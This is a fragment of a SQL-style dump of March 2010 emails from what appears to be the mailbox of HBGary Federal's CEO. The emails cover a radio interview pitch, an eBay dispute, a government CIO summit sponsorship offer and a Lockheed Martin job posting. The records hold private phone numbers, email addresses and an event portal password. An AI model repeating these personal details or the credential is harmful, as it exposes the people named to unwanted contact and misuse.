RadioTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, March 24, 2010, 12:18 PM\r\nHmmmm....maybe like APT?! \r\n\r\nAlso good topics are the progress in cybersecurity nationally. &nbsp;Congress and Senate have recently taken on cybersecurity bills. &nbsp;Naming of a Cyber Czar. &nbsp;Probable confirmation of Alexander to Cyber Command. &nbsp;Battle between DHS and NSA for cybersecurity. &nbsp;Organizational/bureaucratic&nbsp;&nbsp;hurdles to becoming more secure as a nation...\r\n\r\n\r\nAaron\r\n\r\n\r\nOn Mar 24, 2010, at 3:06 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I\'d like to pitch you for an interview with WFED (Federal Radio Network) on 1050 AM in Washington DC. While I can use our recent DHS contract as a newshook, I\'d like to see if there are other topics related to current federal government cybersecurity issues that you would like to discuss.\r\n&nbsp;\r\nThanks, Karen&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',13802,'aaron_hbgary_com/13802.html'),(4512,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002625.M663378P3547Q4512.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Schedule Interview with WFED Radio','Sure.On Mar 25, 2010, at 2:42 PM, Karen Burke wrote:Thanks so much Aaron. Would you be willing to do some interviews inperson around the DC area and nearby VA such as Springfield, VA?--- On Wed, 3/24/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with WFED RadioTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, March 24, 2010, 2:57 PM\r\nI do think it is a good move forward. &nbsp;I am sensitive to the concerns for privacy but I think that can be managed. &nbsp;In fact it has been managed for years. &nbsp;There are very strict provisions and guidelines for those that perform SIGINT duties and those that perform net defense duties. &nbsp;At NSA there are very few people that perform both duties and you have to receive frequent training to be in those billets. &nbsp;This would just bring the existing operational constructs to a larger scale and put more of the infrastructure under a single command and authority. &nbsp;There is just too much happening independently right now, there needs to be a central authority to manage a coordinated Defensive and Offensive Cyber strategy.\r\n\r\nIn a perfect world DHS would be capable of filling this role on Defense and would have a strong relationship with NSA with a free flow of information between them to coordinate offense and defense. &nbsp;DHS is working hard to be able to fill more of that role but they are not there, the relationship is not there and we need a central organization to start taking the lead now. &nbsp;With all of the services re-organizing their own Cyber efforts, networks, etc. &nbsp;and they are all looking to NSA to provide the national guidance.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Mar 24, 2010, at 5:12 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron, Thanks for your note! I like the topic of the possible confirmation of Alexander as CyberComm -- he would also keep NSA director title. What is your take --- do you think this is a good move forward? If so, why -- will it lead to improved government cybersecurity issues? Any possible conflicts due to dual CyberCom-NSA director title? Looks like they will bring up nomination after Easter recess. Karen--- On Wed, 3/24/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with WFED RadioTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, March 24, 2010, 12:18 PM\r\nHmmmm....maybe like APT?! \r\n\r\nAlso good topics are the progress in cybersecurity nationally. &nbsp;Congress and Senate have recently taken on cybersecurity bills. &nbsp;Naming of a Cyber Czar. &nbsp;Probable confirmation of Alexander to Cyber Command. &nbsp;Battle between DHS and NSA for cybersecurity. &nbsp;Organizational/bureaucratic&nbsp;&nbsp;hurdles to becoming more secure as a nation...\r\n\r\n\r\nAaron\r\n\r\n\r\nOn Mar 24, 2010, at 3:06 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I\'d like to pitch you for an interview with WFED (Federal Radio Network) on 1050 AM in Washington DC. While I can use our recent DHS contract as a newshook, I\'d like to see if there are other topics related to current federal government cybersecurity issues that you would like to discuss.\r\n&nbsp;\r\nThanks, Karen&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11785,'aaron_hbgary_com/11785.html'),(4513,'2010-03-25','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297002625.M988567P3547Q4513.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: tedvera has sent a question about item #330409973720, that ended on Mar-02-10 14:39:42 PST - Apple iPod 3rd Generation White (10 GB) MP3 Player','Excuses, excuses...Begin forwarded message:From: \"eBay Member: landrewdave\" &lt;member@ebay.com&gt;Date: March 25, 2010 12:04:29 PM MDTTo: thv31@mac.comSubject: Re: tedvera has sent a question about item #330409973720, that ended on Mar-02-10 14:39:42 PST - Apple iPod 3rd Generation White (10 GB) MP3 PlayerReply-To: davidenglish89@yahoo.comeBay sent this message to Ted Vera (tedvera).Your registered name is included to show this message originated from eBay. Learn more.Seller has responded to your question about this itemDo not respond to the sender if this message requests that you complete the transaction outside of eBay. This type of offer is against eBay policy, may be fraudulent, and is not covered by buyer protection programs. Learn More.Dear tedvera,hello, Im deeply sorry about all this. The ipod is on its way I cant apologize to you enough. without getting into the whole thing ive had a ton of family/job related incidents that came up and shut me down completely. I assure you its on its way I apologize in advance. If there is anything i can do please let me know.- landrewdaveDid this answer your question? If not, let the seller know.From: tedveraTo: landrewdaveSubject: tedvera has sent a question about item #330409973720, that ended on Mar-02-10 14:39:42 PST - Apple iPod 3rd Generation White (10 GB) MP3 PlayerSent Date: Mar-21-10 22:14:56 PDTDear landrewdave,Hello,I sent you a previous message requesting information about if/when this item shipped.  You haven\'t responded to my message, and I haven\'t received the package.  Please respond or I will be forced to go through paypal/ebay/my credit card company to resolve this situation.  Thanks.Ted- tedveraApple iPod 3rd Generation White (10 GB) MP3 PlayerItem Id:330409973720End time:Mar-02-10 14:39:42 PSTSeller:landrewdave (127)96.6% Positive FeedbackMember since Feb-05-07 in United StatesLocation: IL, United StatesListing Status:This message was sent while the listing was closed.Marketplace Safety TipKeep your money safe - never pay for items with cash or instant money transfer services, such as Western Union or MoneyGram. In the past some sellers have exploited these payment methods in order to defraud buyers, so eBay has banned them from the site.Received a Second Chance Offer email? Double check that it\'s genuine: Second Chance Offer emails come directly from eBay and are shown in your My Messages.Trade safely. Beware of anyone who contacts you about buying or selling outside of eBay. When you trade outside of eBay, you\'re not able to leave feedback or take advantage of protection programs and case resolution tools available on eBay. Report an inappropriate email.Learn More to protect yourself from spoof (fake) emails.Another eBay member sent this email to thv31@mac.com through the eBay platform. eBay takes no liability for the sending of this email or its contentVisit our Privacy Policy and User Agreement if you have any questions.You can report this message as unsolicited (spam/spoof) email.Copyright © 2010 eBay Inc. All Rights Reserved. Designated trademarks and brands are the property of their respective owners. eBay and the eBay logo are trademarks of eBay Inc. eBay Inc. is located at 2145 Hamilton Avenue, San Jose, CA 95125.  ',13868,'aaron_hbgary_com/13868.html'),(4514,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002626.M349078P3547Q4514.eml','\"Ted Vera\" <ted@hbgary.com>','governmentciosummit','Bureau of Alcohol, Tobacco, Firearms and Explosives (ATF)&nbsp;- Rick Holgate, CIOBureau of Economic Analysis&nbsp;- Alan Lorish, CIOBureau of Land Management&nbsp;- Ronnie Levine, CIOCA National Guard&nbsp;- LT Col Keith Tresh, CIOCook County Government Chicago, Illinois&nbsp;- Antonio Allan Hylton, CIOCook County, Illinois&nbsp;- Antonio Hylton , CIODepartment of Agriculture&nbsp;- Chris Smith, CIODepartment of Commerce&nbsp;- Suzanne Hilding, CIODepartment of Education&nbsp;- Danny Harris, CIODepartment of Homeland Security&nbsp;- Joe Jarzombek, Director of Software AssuranceDepartment of Homeland Security/TSA&nbsp;- Margie Graves, Deputy CIODepartment of Housing &amp; Urban Development&nbsp;- Jerry Williams, CIODepartment of Justice&nbsp;- Vance Hitch, CIODepartment of State&nbsp;- Gary Galloway, Deputy Director of the Office of Information AssuranceDepartment of State&nbsp;- Charles Wisecarver, Deputy CIO for Operations and CTODepartment of the Army&nbsp;- Michael Krieger, Deputy CIODepartment of Transportation (DOT)&nbsp;- Jackie Patillo, Deputy CIODepartment of Transportation (DOT)&nbsp;- Nitin Pradhan, CIODeputy CTO for Open Government&nbsp;- Beth Noveck,Environmental Protection Agency&nbsp;- Myra Galbreath, Acting CTOFederal Aviation Administration&nbsp;- Dave Bowen, CIOFederal Housing Finance Agency&nbsp;- Kevin Winkler, CIOFederal Reserve Board&nbsp;- Maureen Hannan, CIOFederal Trade Commission&nbsp;- Stan Lowe, CIOFERC (Federal Energy Regulatory Commission)&nbsp;- Sanjay Sardar, Deputy CIOFlorida Board of Governors&nbsp;- Ramon Padilla Jr., CIO | AST Vice ChancellorGeneral Services Administration (GSA)&nbsp;- Casey Coleman, CIOHidalgo County, TX&nbsp;- Renan Ramirez, CIOInstitute of Museum and Library Sciences&nbsp;- Derek Scarborough, CIOLibrary of Congress&nbsp;- James Gallagher, Director, Information Technology ServicesNASA&nbsp;- Jerry L. Davis, Deputy CIONASA&nbsp;- Linda Cureton, CIONASA AMES Research Center&nbsp;- Chris Kemp, CIONASA Glenn Research Center&nbsp;- Sasi Kumar Pillay, CIONational Archives and Records Administration&nbsp;- Martha Morphy, CIONational Institutes of Health (NIH)&nbsp;- Kathryn Wimsatt, Executive Officer for Center for information TechnologyNational Transportation Safety Board&nbsp;- Bob Scherer, CIOOffice of Government Ethics (OGE)&nbsp;- Ty Cooper, CIOSmall Business Administration&nbsp;- Robert Naylor, CIOSmithsonian Institution&nbsp;- Ann Speyer, CIOSocial Security Administration&nbsp;- Franklin Baitman, CIOState of Missouri&nbsp;- Dan Lohrman, State CTOState of Missouri&nbsp;- Ken Thesis, State CIOState of New York&nbsp;- Melodie Mayberry-Stewart, CIOState of Ohio&nbsp;- Sam Orth, CIOState of Ohio Office of Budget &amp; Management&nbsp;- Kumar Rachuri, CIOState of Utah&nbsp;- Stephen Fletcher, CIOU.S. Postal Service&nbsp;- John Edgar, VP IT SolutionsUnited States Cyber Security Coordinator&nbsp;- Howard Schmidt,US Department of Energy&nbsp;- Pete Tseronis, Deputy Associate CIOUS Patent and Trademark Office&nbsp;- John B. Owens, CIOVeterans Affairs&nbsp;- Roger Baker, CIO\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14119,'aaron_hbgary_com/14119.html'),(4515,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002626.M563801P3547Q4515.eml','\"Ted Vera\" <ted@hbgary.com>','Have a SOW by chance?','I want to include that in todays release of the doc for review.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8587,'aaron_hbgary_com/8587.html'),(4516,'2010-03-25','\"Alex Olson\" <aolson@gdsnewyork.com>','/aaron@hbgary.com/new/1297002626.M784852P3547Q4516.eml','aaron@hbgary.com,aaron@hbgary.com','Alex Olson_Government CIO (as per our converstion)','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI am\r\nglad we had a chance to connect and discuss the project I am currently working\r\non with Chris Kemp, CIO of NASA AMES\r\nresearch center &amp; Pete Tseronis, Deputy\r\nCIO, DOE . Like I mentioned the Government CIO Summit is an invitation-only\r\nevent bringing together 55-60 Federal &amp; State/Local CIO&#8217;s as well as\r\n20 sponsoring solution providers. Every sponsor will have the opportunity to\r\nhave 16, predetermined, one to one meetings with the Delegates of their choice.\r\nWe wanted to offer HBGary Federal one of the remaining vendor positions.&nbsp;\r\nIn addition to the meetings, the Premium Silver sponsorship outlined below\r\nallows for HBGary to run a 40 minute workshop on site.\r\n\r\n&nbsp;\r\n\r\nIDC is\r\nour analyst partner for all our North American events. The Government Insights\r\nDivision will be leading the summit, as well as&nbsp; leading a series of\r\nworkshops and moderating the Keynote panel.\r\n\r\n&nbsp;\r\n\r\nBelow,\r\nI have included a link to the Government CIO Summit website as well as the\r\npassword to access the ATTENDEES portion of the website. Every Delegate\r\non the list is confirmed and has signed a contract to attend themselves. In accordance\r\nwith Government rules every delegate pays his/her own way to attend. We have\r\nworked with 90% of the agencies in the past and have cultivated excellent\r\nrelationships.&nbsp; By the time of the event we will have 55-60 confirmed\r\ndelegates. Our attendee list updated daily.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSummit Website:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nwww.governmentciosummit2010.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;attendees\r\npassword:&nbsp;&nbsp;&nbsp;&nbsp; 567ciog \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBelow\r\nis HBGary Federal proposals as discussed:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPremium Silver Sponsorship\r\n\r\n&nbsp;\r\n\r\n2 executives to attend\r\nfor the full duration of the summit 16 predetermined, 40-minute business\r\nmeetings\r\n\r\nBranding throughout all\r\nmeetings, lunch, roundtable and workshops\r\n\r\nSingle page\r\nadvertisement in Summit Guide\r\n\r\nOpportunity to host\r\ncompany workshop presentation marketed to delegation (40 min)\r\n\r\nFull networking access\r\nto the entire Delegation for duration of the Summit\r\n\r\nInvitation to gala\r\ndinners and keynote speeches\r\n\r\nOption to host\r\nwhitepaper on Summit website\r\n\r\nAccess to all\r\ninteractive workshops, roundtable discussions\r\n\r\nExecutive accommodation\r\nand dining\r\n\r\nCorporate signage\r\nthrough-out the summit\r\n\r\nPre and post event\r\nmarketing\r\n\r\nCompany logo to feature\r\nonline as premium silver sponsor\r\n\r\nCompany and Delegate\r\nProfile to feature in Summit Guide\r\n\r\nPost event follow up\r\nwith delegates\r\n\r\n&nbsp;\r\n\r\nCost: $64,900 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Invoiced 50% 30 days after\r\nconfirming participation, 50% 45 days before the summit\r\n\r\n&nbsp;\r\n\r\nTOTAL REDUCED COST (APPROVED DISCOUNT BEN RIGGLE GM, NA)&nbsp; $45,000\r\nUSD\r\n\r\n&nbsp;\r\n\r\nSilver\r\nSponsorship \r\n\r\n&nbsp;\r\n\r\n2\r\nexecutives to attend for the full duration of the summit 16 predetermined,\r\n40-minute business meetings\r\n\r\nBranding\r\nthroughout all meetings, lunch, roundtable and workshops\r\n\r\nSingle\r\npage advertisement in Summit Guide\r\n\r\nFull\r\nnetworking access to the entire Delegation for duration of the Summit\r\n\r\nInvitation\r\nto gala dinners and keynote speeches\r\n\r\nOption\r\nto host whitepaper on Summit website\r\n\r\nAccess\r\nto all interactive workshops, roundtable discussions\r\n\r\nExecutive\r\naccommodation, drinks and dining\r\n\r\nCorporate\r\nsignage through-out the summit\r\n\r\nPre\r\nand post event marketing\r\n\r\nCompany\r\nlogo to feature online as silver sponsor\r\n\r\nCompany\r\nand Delegate Profile to feature in Summit Guide\r\n\r\nPost\r\nevent follow up with delegates\r\n\r\n&nbsp;\r\n\r\nCost:\r\n$54,900&nbsp;&nbsp; Invoiced 50% 30 days after confirming participation, 50% 45\r\ndays before the summit \r\n\r\n&nbsp;\r\n\r\nTOTAL REDUCED COST (APPROVED DISCOUNT BEN RIGGLE GM, NA)&nbsp; $36,900\r\nUSD\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIf you\r\nhave any questions or require any more information don&#8217;t hesitate to\r\ncontact me.&nbsp; I look forward to speaking with you tomorrow @ 10:00 a.m. EST\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKind\r\nregards,\r\n\r\n&nbsp;\r\n\r\nAlex\r\nOlson\r\n\r\nDirector\r\nCIO GOV.\r\n\r\n&nbsp;&nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n\r\nCIO\r\nGovernment US\r\n\r\n40 Wall Street, 5th Floor\r\n\r\nNew\r\nYork, NY 10005\r\n\r\nMobile:\r\n203.512.4162\r\n\r\nOffice:\r\n212.920.8181 x 521\r\n\r\naolson@gdsnewyork.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3665,'aaron_hbgary_com/3665.html'),(4517,'2010-03-25','\"Kathryn Tracy\" <kathryn.tracy@sri.com>','/aaron@hbgary.com/new/1297002627.M719553P3547Q4517.eml','\"Aaron Barr\" <aaron@hbgary.com>','Pricing Spreadsheet','\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nAt long last, here is our pricing spreadsheet. \r\nYou will be receiving a formal email from\r\nour Contract Administrator Colleen Ferguson\r\nthis afternoon that will contain all of the other parts.\r\nWe are putting the gov version in FedX to you \r\ntonight.\r\n\r\nGood luck!\r\n\r\nBest,\r\nkat\r\n\r\n\r\n\r\n',1276,'aaron_hbgary_com/1276.html'),(4518,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002628.M663220P3547Q4518.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Pricing Spreadsheet','ok now we just need Secure Decisions.\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n',2758,'aaron_hbgary_com/2758.html'),(4519,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002628.M884274P3547Q4519.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: CALL FOR RESUMES: Task Order Marathon \"Senior Software Engineer\" 	position vacancy - Lockheed Martin Proprietary Information','From my iPhoneBegin forwarded message:From: &quot;Agam, Jennifer L&quot; &lt;jennifer.l.agam@lmco.com&gt;\r\nDate: March 25, 2010 1:27:11 PM EDTTo: &quot;Agam, Jennifer L&quot; &lt;jennifer.l.agam@lmco.com&gt;Cc: &quot;Racz, James M&quot; &lt;james.m.racz@lmco.com&gt;, &quot;Watson, Charles M&quot; &lt;charles.m.watson@lmco.com&gt;, &quot;Curtis, Colleen A&quot; &lt;colleen.a.curtis@lmco.com&gt;, &quot;Staley, Ryan E&quot; &lt;ryan.e.staley@lmco.com&gt;, &quot;Mai, Richard E&quot; &lt;richard.e.mai@lmco.com&gt;\r\nSubject: CALL FOR RESUMES:  Task Order Marathon &quot;Senior Software Engineer&quot; position vacancy - Lockheed Martin Proprietary Information\r\n\r\n\r\nLockheed Martin Proprietary Information\r\nProprietary information owned by Lockheed Martin that requires protection from unauthorized disclosure.  Access is restricted to employees, and authorized individuals who have executed nondisclosure agreements or who are otherwise legally bound by confidentiality obligations to Lockheed Martin.\r\n\r\n.\r\n.\r\n.\r\nMessage Start:\r\n-----------------------\r\n\r\n\r\n\r\nDear\r\nUNO Subcontractors:\r\n\r\nUNO has a Senior Software\r\nEngineer position vacancy on Task Order Marathon.  If you feel that you\r\nhave candidates with the qualifications of the software expertise identified\r\nbelow, please advise Jennifer\r\nAgam (jennifer.l.agam@lmco.com) and Jim Racz (james.m.racz@lmco.com) via email.  Please include\r\nCandidate names and time &amp; materials labor rates\r\nin that email. Provide classified Candidate resumes only to Jim Racz via secure\r\nfax at 703-793-6576.\r\n\r\nThe\r\nSenior Software Engineer position work will be performed at the\r\ncustomer’s location in Herndon, VA.  The senior software engineer shall possess an\r\nUndergraduate/Graduate Degree (CS/CE) with/or (8) Eight or more years of\r\napplied/practical experience related to the technical domain.\r\n\r\nCandidates must already\r\nhave the proper clearances (TS/ISSA) to work at a customer’s facility.\r\n\r\n\r\nThe\r\nperiod of performance for these rates shall cover:\r\n\r\n           \r\n1/1/2010 - 12/31/2010 Option 1\r\n\r\n           \r\n1/1/2011 - 8/27/2011 option2\r\n\r\n \r\n\r\nYour\r\nrates may follow your standard practice for period of performance, be it\r\ncalendar year or fiscal year. \r\n\r\n(Rate\r\nAbbreviation) - Title\r\n\r\n(SR\r\nSE) – Senior Software Engineer\r\n\r\n \r\n\r\n \r\n\r\nRequirements\r\nof the Senior Software Engineer position:\r\n\r\na.     \r\nSoftware Development Expertise\r\n\r\n·        \r\nExperience\r\nperforming C/C++ Programming\r\n\r\n·        \r\nExperience\r\ndeveloping Microsoft Visual Studio add-ons\r\n\r\n·        \r\nExperience\r\ndeveloping Windows Applications and services. Experience with drivers is\r\ndesired.\r\n\r\n·        \r\nExperience\r\nin Experience in debugging environments\r\n\r\n·        \r\nFamiliarity\r\nwith technical issues surrounding the designing, building and testing of\r\nsoftware development kits supporting Windows Platforms and frameworks\r\n\r\n·        \r\nCoding\r\nexperience on Intel or AMD platforms\r\n\r\n·        \r\nExperiences\r\nwith software configuration management software such as SourceSafe or VCS.\r\nExperience in migrating from SourceSafe to CVS is desired\r\n\r\n·        \r\nExperience\r\nperforming Windows programming for 32-bit systems. Experience with programming\r\nfor 64 bit systems is desired.\r\n\r\n·        \r\nFamiliarity\r\nwith software reverse engineering techniques is desired.\r\n\r\n·        \r\nExperience\r\nusing IDAPro and SoftIce is desired.\r\n\r\n·        \r\nExperience\r\nin computer, network hacker techniques and methodologies to include application\r\nand mitigation techniques is desired.\r\n\r\n·        \r\nFamiliarity\r\nwith public exploits and new unpublished exploits is desired.\r\n\r\n \r\n\r\nb.     \r\n(S) Software System Engineering\r\n\r\n·        \r\nExperience\r\ndocumenting software source code\r\n\r\n·        \r\nExperience\r\nin documentation and development of Software User Guides and Feature Lists\r\n\r\n·        \r\nExperience\r\nin documentation development of Training Plans supporting Software is desired.\r\n\r\n·        \r\nExperience\r\nin End-to-End software development and delivery cycle – design, document,\r\nbuild/code, test, deliver, maintain software components.\r\n\r\n \r\n\r\nIf you have\r\nany questions, please do not hesitate to contact me. \r\n\r\n \r\n\r\nJennifer Agam\r\n\r\n \r\n\r\nSubcontract Administrator \r\nLockheed Martin Corporation\r\nInformation Systems &amp; Global Services\r\nPhone: 703-466-1236\r\n\r\nFax: 703-466-1270\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6711,'aaron_hbgary_com/6711.html'),(4520,'2010-03-25','\"Colleen Ferguson\" <colleen.ferguson@sri.com>','/aaron@hbgary.com/new/1297002632.M278266P3547Q4520.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','SRI Proposal ECD 10-419 in support of HB Gary proposal to DARPA Cyber Genome BAA Area 3','Mr. Barr,\r\n\r\nSRI International is pleased to provide proposal ECD 10-419 in support \r\nof the subject proposal effort.  The proposal will remain valid until 31 \r\nJuly 2010.  Questions of a technical nature should be addressed to \r\nPhillip Porras at 650-859-3232 or phillip.porras@sri.com.  Contractual \r\nor administrative matters should be addressed to me at 650-859-4199 or \r\ncolleen.ferguson@sri.com.\r\n\r\nRegards,\r\nColleen\r\n\r\n-- \r\nColleen R. Ferguson\r\nSr. Contract Administrator\r\nSRI International\r\n(650) 859-4199\r\ncolleen.ferguson@sri.com\r\n\r\n',1010,'aaron_hbgary_com/1010.html'),(4521,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002632.M908622P3547Q4521.eml','\"Phil Porras\" <porras@csl.sri.com>,\"Phil Porras\" <porras@csl.sri.com>','Fwd: Pricing Spreadsheet','I just got your pricing and I just can\'t afford this value.  We need to scale back pretty significantly.  Please give me a call.\r\n\r\n7195108478\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Kathryn Tracy \r\n> Date: March 25, 2010 4:04:22 PM EDT\r\n> To: Aaron Barr \r\n> Subject: Pricing Spreadsheet\r\n> \r\n> Hi Aaron,\r\n> \r\n> At long last, here is our pricing spreadsheet. \r\n> You will be receiving a formal email from\r\n> our Contract Administrator Colleen Ferguson\r\n> this afternoon that will contain all of the other parts.\r\n> We are putting the gov version in FedX to you \r\n> tonight.\r\n> \r\n> Good luck!\r\n> \r\n> Best,\r\n> kat\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9567,'aaron_hbgary_com/9567.html'),(4522,'2010-03-25','\"Colleen Ferguson\" <colleen.ferguson@sri.com>','/aaron@hbgary.com/new/1297002633.M110368P3547Q4522.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: SRI Proposal ECD 10-419 in support of HB Gary proposal to DARPA Cyber Genome BAA Area 3','Mr. Barr,\r\n\r\nPlease disregard this message as it was sent in error.\r\n\r\nThanks,\r\nColleen\r\n\r\nColleen Ferguson wrote:\r\n> Mr. Barr,\r\n>\r\n> SRI International is pleased to provide proposal ECD 10-419 in support \r\n> of the subject proposal effort.  The proposal will remain valid until \r\n> 31 July 2010.  Questions of a technical nature should be addressed to \r\n> Phillip Porras at 650-859-3232 or phillip.porras@sri.com.  Contractual \r\n> or administrative matters should be addressed to me at 650-859-4199 or \r\n> colleen.ferguson@sri.com.\r\n>\r\n> Regards,\r\n> Colleen\r\n>\r\n\r\n-- \r\nColleen R. Ferguson\r\nSr. Contract Administrator\r\nSRI International\r\n(650) 859-4199\r\ncolleen.ferguson@sri.com\r\n\r\n',5879,'aaron_hbgary_com/5879.html'),(4523,'2010-03-25','\"Kathryn Tracy\" <kathryn.tracy@sri.com>','/aaron@hbgary.com/new/1297002633.M465955P3547Q4523.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd: Pricing Spreadsheet','\r\n\r\n\r\n  \r\n\r\n\r\nHi Aaron,\r\n\r\nI am looking to see if FedX can deliver to your area on Saturday.\r\n\r\nI\'m working away to reprice and will have the spreadsheet to you as\r\nsoon as I can today.\r\nkat\r\n\r\nOn 3/25/2010 1:28 PM, Aaron Barr wrote:\r\nI just got your pricing and I just can\'t afford this\r\nvalue. &nbsp;We need to scale back pretty significantly. &nbsp;Please give me a\r\ncall.\r\n  \r\n  \r\n  7195108478\r\n  \r\n  \r\n  Aaron\r\n  \r\n  Begin forwarded message:\r\n  \r\n  \r\n    From:\r\n    Kathryn Tracy &lt;kathryn.tracy@sri.com&gt;\r\n    \r\n    Date:\r\n    March 25, 2010\r\n4:04:22 PM EDT\r\n    \r\n    To:\r\n    Aaron Barr &lt;aaron@hbgary.com&gt;\r\n    \r\n    Subject:\r\n    Pricing\r\nSpreadsheet\r\n    \r\n    \r\n    \r\n    Hi Aaron,\r\n    \r\nAt long last, here is our pricing spreadsheet. \r\nYou will be receiving a formal email from\r\nour Contract Administrator Colleen Ferguson\r\nthis afternoon that will contain all of the other parts.\r\nWe are putting the gov version in FedX to you \r\ntonight.\r\n    \r\nGood luck!\r\n    \r\nBest,\r\nkat\r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n\r\n\r\n\r\n',10056,'aaron_hbgary_com/10056.html'),(4524,'2010-03-25','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297002637.M683511P3547Q4524.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Scott Pease\" <scott@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','REcon technical paper, draft #2','Team,\r\n \r\nThe attached draft is closing in.  I have all the screenshots and typesetting worked out.  The file has been sent to the graphic designer.  Please review for content, etc.  \r\n \r\n-Greg\r\n',2104,'aaron_hbgary_com/2104.html'),(4525,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002638.M216432P3547Q4526.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Can u call back?','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',807,'aaron_hbgary_com/807.html'),(4526,'2010-03-25','\"Adam Fraser\" 